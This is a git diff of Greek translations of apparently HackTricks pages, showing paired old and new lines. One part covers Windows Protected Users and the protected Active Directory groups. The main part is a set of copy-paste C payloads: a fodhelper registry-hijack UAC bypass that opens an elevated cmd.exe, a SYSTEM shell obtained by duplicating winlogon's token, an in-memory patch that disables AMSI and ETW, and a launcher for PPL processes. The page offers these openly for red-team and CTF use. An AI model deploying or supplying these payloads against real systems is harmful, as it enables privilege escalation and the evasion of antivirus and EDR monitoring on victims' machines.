Για περισσότερες λεπτομέρειες, η αρχική [πηγή](http://juggernaut.wikidot.com/cached-credentials) παρέχει εκτενή πληροφορίες.
|
||||
Για περισσότερες λεπτομέρειες, η αρχική [source](http://juggernaut.wikidot.com/cached-credentials) παρέχει αναλυτικές πληροφορίες.
|
||||
|
||||
## Προστατευμένοι Χρήστες
|
||||
## Protected Users
|
||||
|
||||
Η συμμετοχή στην **ομάδα Προστατευμένων Χρηστών** εισάγει αρκετές βελτιώσεις ασφαλείας για τους χρήστες, εξασφαλίζοντας υψηλότερα επίπεδα προστασίας από κλοπή και κακή χρήση διαπιστεύσεων:
|
||||
Η συμμετοχή στην ομάδα **Protected Users group** εισάγει πολλές βελτιώσεις ασφάλειας για τους χρήστες, προσφέροντας υψηλότερα επίπεδα προστασίας έναντι κλοπής και κατάχρησης credentials:
|
||||
|
||||
- **Ανάθεση Διαπιστεύσεων (CredSSP)**: Ακόμα και αν η ρύθμιση Πολιτικής Ομάδας για **Επιτρέπεται η ανάθεση προεπιλεγμένων διαπιστεύσεων** είναι ενεργοποιημένη, οι διαπιστεύσεις κειμένου απλού των Προστατευμένων Χρηστών δεν θα αποθηκεύονται.
|
||||
- **Windows Digest**: Από **Windows 8.1 και Windows Server 2012 R2**, το σύστημα δεν θα αποθηκεύει τις διαπιστεύσεις κειμένου απλού των Προστατευμένων Χρηστών, ανεξάρτητα από την κατάσταση του Windows Digest.
|
||||
- **NTLM**: Το σύστημα δεν θα αποθηκεύει τις διαπιστεύσεις κειμένου απλού των Προστατευμένων Χρηστών ή τις λειτουργίες NT one-way (NTOWF).
|
||||
- **Kerberos**: Για τους Προστατευμένους Χρήστες, η πιστοποίηση Kerberos δεν θα δημιουργεί **DES** ή **RC4 κλειδιά**, ούτε θα αποθηκεύει διαπιστεύσεις κειμένου απλού ή μακροχρόνια κλειδιά πέρα από την αρχική απόκτηση του Ticket-Granting Ticket (TGT).
|
||||
- **Offline Sign-In**: Οι Προστατευμένοι Χρήστες δεν θα έχουν έναν αποθηκευμένο επαληθευτή που θα δημιουργείται κατά την είσοδο ή την ξεκλείδωμα, πράγμα που σημαίνει ότι η offline είσοδος δεν υποστηρίζεται για αυτούς τους λογαριασμούς.
|
||||
- **Credential Delegation (CredSSP)**: Ακόμα και αν το Group Policy setting για **Allow delegating default credentials** είναι ενεργό, τα plain text credentials των Protected Users δεν θα αποθηκεύονται στην cache.
|
||||
- **Windows Digest**: Από **Windows 8.1 and Windows Server 2012 R2**, το σύστημα δεν θα αποθηκεύει στην cache plain text credentials των Protected Users, ανεξάρτητα από την κατάσταση του Windows Digest.
|
||||
- **NTLM**: Το σύστημα δεν θα αποθηκεύει στην cache τα plain text credentials των Protected Users ούτε τις NT one-way functions (NTOWF).
|
||||
- **Kerberos**: Για τους Protected Users, η Kerberos authentication δεν θα δημιουργεί **DES** ή **RC4 keys**, ούτε θα αποθηκεύει στην cache plain text credentials ή long-term keys πέρα από την αρχική απόκτηση του Ticket-Granting Ticket (TGT).
|
||||
- **Offline Sign-In**: Οι Protected Users δεν θα έχουν cached verifier που δημιουργείται κατά το sign-in ή unlock, που σημαίνει ότι το offline sign-in δεν υποστηρίζεται για αυτούς τους λογαριασμούς.
|
||||
|
||||
Αυτές οι προστασίες ενεργοποιούνται τη στιγμή που ένας χρήστης, ο οποίος είναι μέλος της **ομάδας Προστατευμένων Χρηστών**, συνδέεται στη συσκευή. Αυτό διασφαλίζει ότι κρίσιμα μέτρα ασφαλείας είναι σε εφαρμογή για την προστασία από διάφορες μεθόδους παραβίασης διαπιστεύσεων.
|
||||
Αυτές οι προστασίες ενεργοποιούνται τη στιγμή που ένας χρήστης, μέλος της ομάδας **Protected Users group**, συνδεθεί στη συσκευή. Αυτό διασφαλίζει ότι κρίσιμα μέτρα ασφάλειας είναι σε ισχύ για την προστασία έναντι διαφόρων μεθόδων συμβιβασμού credentials.
|
||||
|
||||
Για περισσότερες λεπτομέρειες, ανατρέξτε στην επίσημη [τεκμηρίωση](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
|
||||
Για πιο λεπτομερείς πληροφορίες, συμβουλευτείτε την επίσημη [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
|
||||
|
||||
**Πίνακας από** [**τα έγγραφα**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
|
||||
**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
|
||||
|
||||
| Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016 |
|
||||
| ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
|
||||
@ -133,4 +189,12 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
| Schema Admins | Schema Admins | Schema Admins | Schema Admins |
|
||||
| Server Operators | Server Operators | Server Operators | Server Operators |
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
|
||||
- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
|
||||
- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
|
||||
- [LSASS RunAsPPL – background and internals](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτή η σελίδα συγκεντρώνει **μικρές, αυτοτελείς C αποσπάσματα** που είναι χρήσιμα κατά τη διάρκεια της Windows Local Privilege Escalation ή μετά την εκμετάλλευση. Κάθε payload έχει σχεδιαστεί για να είναι **φιλικό προς την αντιγραφή και επικόλληση**, απαιτεί μόνο το Windows API / C runtime και μπορεί να μεταγλωττιστεί με `i686-w64-mingw32-gcc` (x86) ή `x86_64-w64-mingw32-gcc` (x64).
|
||||
Αυτή η σελίδα συγκεντρώνει **μικρά, αυτόνομα αποσπάσματα σε C** που είναι χρήσιμα κατά τη διάρκεια Windows Local Privilege Escalation ή post-exploitation. Κάθε payload έχει σχεδιαστεί να είναι **φιλικό για copy-paste**, απαιτεί μόνο το Windows API / C runtime, και μπορεί να μεταγλωττιστεί με `i686-w64-mingw32-gcc` (x86) ή `x86_64-w64-mingw32-gcc` (x64).
|
||||
|
||||
> ⚠️ Αυτά τα payloads υποθέτουν ότι η διαδικασία έχει ήδη τα ελάχιστα δικαιώματα που απαιτούνται για να εκτελέσει την ενέργεια (π.χ. `SeDebugPrivilege`, `SeImpersonatePrivilege`, ή μέσος-ακεραιότητας πλαίσιο για μια παράκαμψη UAC). Είναι προορισμένα για **κόκκινες ομάδες ή ρυθμίσεις CTF** όπου η εκμετάλλευση μιας ευπάθειας έχει οδηγήσει σε αυθαίρετη εκτέλεση εγγενών κωδίκων.
|
||||
> ⚠️ Αυτά τα payloads υποθέτουν ότι η διεργασία έχει ήδη τα ελάχιστα απαραίτητα δικαιώματα για να εκτελέσει τη δράση (π.χ. `SeDebugPrivilege`, `SeImpersonatePrivilege`, ή medium-integrity context για UAC bypass). Προορίζονται για **red-team ή CTF περιβάλλοντα** όπου η εκμετάλλευση μιας ευπάθειας έχει οδηγήσει σε εκτέλεση αυθαίρετου εγγενούς κώδικα.
|
||||
|
||||
---
|
||||
|
||||
@ -21,13 +21,13 @@ return 0;
|
||||
---
|
||||
|
||||
## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity)
|
||||
Όταν εκτελείται το αξιόπιστο δυαδικό αρχείο **`fodhelper.exe`**, ερωτά την παρακάτω διαδρομή μητρώου **χωρίς να φιλτράρει το ρήμα `DelegateExecute`**. Με την τοποθέτηση της εντολής μας κάτω από αυτό το κλειδί, ένας επιτιθέμενος μπορεί να παρακάμψει το UAC *χωρίς* να ρίξει ένα αρχείο στον δίσκο.
|
||||
Όταν το έμπιστο εκτελέσιμο **`fodhelper.exe`** εκτελείται, ελέγχει το παρακάτω μονοπάτι του μητρώου **χωρίς να φιλτράρει το ρήμα `DelegateExecute`**. Τοποθετώντας την εντολή μας κάτω από αυτό το κλειδί, ένας επιτιθέμενος μπορεί να παρακάμψει το UAC *χωρίς* να γράψει αρχείο στο δίσκο.
|
||||
|
||||
*Registry path queried by `fodhelper.exe`*
|
||||
*Μονοπάτι μητρώου που ελέγχεται από το `fodhelper.exe`*
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
Ένα ελάχιστο PoC που ανοίγει ένα ανυψωμένο `cmd.exe`:
|
||||
Ένα ελάχιστο PoC που ανοίγει ένα `cmd.exe` με αυξημένα δικαιώματα:
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
@ -61,12 +61,12 @@ system("fodhelper.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
*Δοκιμάστηκε σε Windows 10 22H2 και Windows 11 23H2 (patches Ιουλίου 2025). Η παράκαμψη εξακολουθεί να λειτουργεί επειδή η Microsoft δεν έχει διορθώσει τον ελλείποντα έλεγχο ακεραιότητας στη διαδρομή `DelegateExecute`.*
|
||||
*Δοκιμάστηκε σε Windows 10 22H2 και Windows 11 23H2 (patches Ιουλίου 2025). Το bypass εξακολουθεί να λειτουργεί επειδή η Microsoft δεν έχει διορθώσει τον ελλείποντα έλεγχο ακεραιότητας στη διαδρομή `DelegateExecute`.*
|
||||
|
||||
---
|
||||
|
||||
## Δημιουργία shell SYSTEM μέσω διπλασιασμού token (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
|
||||
Εάν η τρέχουσα διαδικασία κατέχει **και τα δύο** δικαιώματα `SeDebug` και `SeImpersonate` (τυπικό για πολλούς λογαριασμούς υπηρεσιών), μπορείτε να κλέψετε το token από το `winlogon.exe`, να το διπλασιάσετε και να ξεκινήσετε μια ανυψωμένη διαδικασία:
|
||||
## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
|
||||
Εάν η τρέχουσα διεργασία διαθέτει **και τα δύο** προνόμια `SeDebug` και `SeImpersonate` (τυπικό για πολλούς λογαριασμούς υπηρεσίας), μπορείτε να κλέψετε το token από το `winlogon.exe`, να το διπλασιάσετε και να εκκινήσετε μια ανυψωμένη διεργασία:
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
|
||||
#include <windows.h>
|
||||
@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
|
||||
STARTUPINFOW si = { .cb = sizeof(si) };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
|
||||
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
|
||||
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
|
||||
NULL, NULL, &si, &pi)) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Για μια πιο βαθιά εξήγηση του πώς λειτουργεί αυτό, δείτε:
|
||||
Για πιο αναλυτική εξήγηση του πώς λειτουργεί αυτό, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
sedebug-+-seimpersonate-copy-token.md
|
||||
@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md
|
||||
|
||||
---
|
||||
|
||||
## Patch AMSI & ETW στη Μνήμη (Αποφυγή Άμυνας)
|
||||
Οι περισσότερες σύγχρονες μηχανές AV/EDR βασίζονται στο **AMSI** και το **ETW** για να ελέγχουν κακόβουλες συμπεριφορές. Η διόρθωση και των δύο διεπαφών νωρίς μέσα στη τρέχουσα διαδικασία αποτρέπει την σάρωση των payloads που βασίζονται σε σενάρια (π.χ. PowerShell, JScript).
|
||||
## Επιδιόρθωση AMSI & ETW στη μνήμη (Defence Evasion)
|
||||
Οι περισσότερες σύγχρονες λύσεις AV/EDR βασίζονται στο **AMSI** και στο **ETW** για να ελέγξουν κακόβουλες συμπεριφορές. Η τροποποίηση και των δύο διεπαφών νωρίς εντός της τρέχουσας διεργασίας αποτρέπει τα script-based payloads (π.χ. PowerShell, JScript) από το να σαρωθούν.
|
||||
```c
|
||||
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
*Η παραπάνω επιδιόρθωση είναι τοπική για τη διαδικασία; Η εκκίνηση ενός νέου PowerShell μετά την εκτέλεσή της θα εκτελείται χωρίς επιθεώρηση AMSI/ETW.*
|
||||
*Η παραπάνω επιδιόρθωση είναι τοπική στη διεργασία· η εκκίνηση ενός νέου PowerShell μετά την εκτέλεσή της θα τρέξει χωρίς έλεγχο AMSI/ETW.*
|
||||
|
||||
---
|
||||
|
||||
## Δημιουργία παιδικής διεργασίας ως Protected Process Light (PPL)
|
||||
Ζητήστε επίπεδο προστασίας PPL για μια παιδική διεργασία κατά το χρόνο δημιουργίας χρησιμοποιώντας `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. Αυτό είναι ένα τεκμηριωμένο API και θα επιτύχει μόνο εάν η στοχευόμενη εικόνα είναι υπογεγραμμένη για την απαιτούμενη κλάση υπογραφέα (Windows/WindowsLight/Antimalware/LSA/WinTcb).
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
|
||||
#include <windows.h>
|
||||
|
||||
int wmain(void) {
|
||||
STARTUPINFOEXW si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
|
||||
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
|
||||
|
||||
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
|
||||
UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
|
||||
&lvl, sizeof(lvl), NULL, NULL);
|
||||
|
||||
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
|
||||
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
|
||||
return 1;
|
||||
}
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Levels used most commonly:
|
||||
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
|
||||
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
|
||||
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
|
||||
|
||||
Επαληθεύστε το αποτέλεσμα με το Process Explorer/Process Hacker ελέγχοντας τη στήλη Protection.
|
||||
|
||||
---
|
||||
|
||||
## Αναφορές
|
||||
* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
|
||||
* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
|
||||
* CreateProcessAsPPL – ελάχιστος εκκινητής διεργασίας PPL: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||
* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user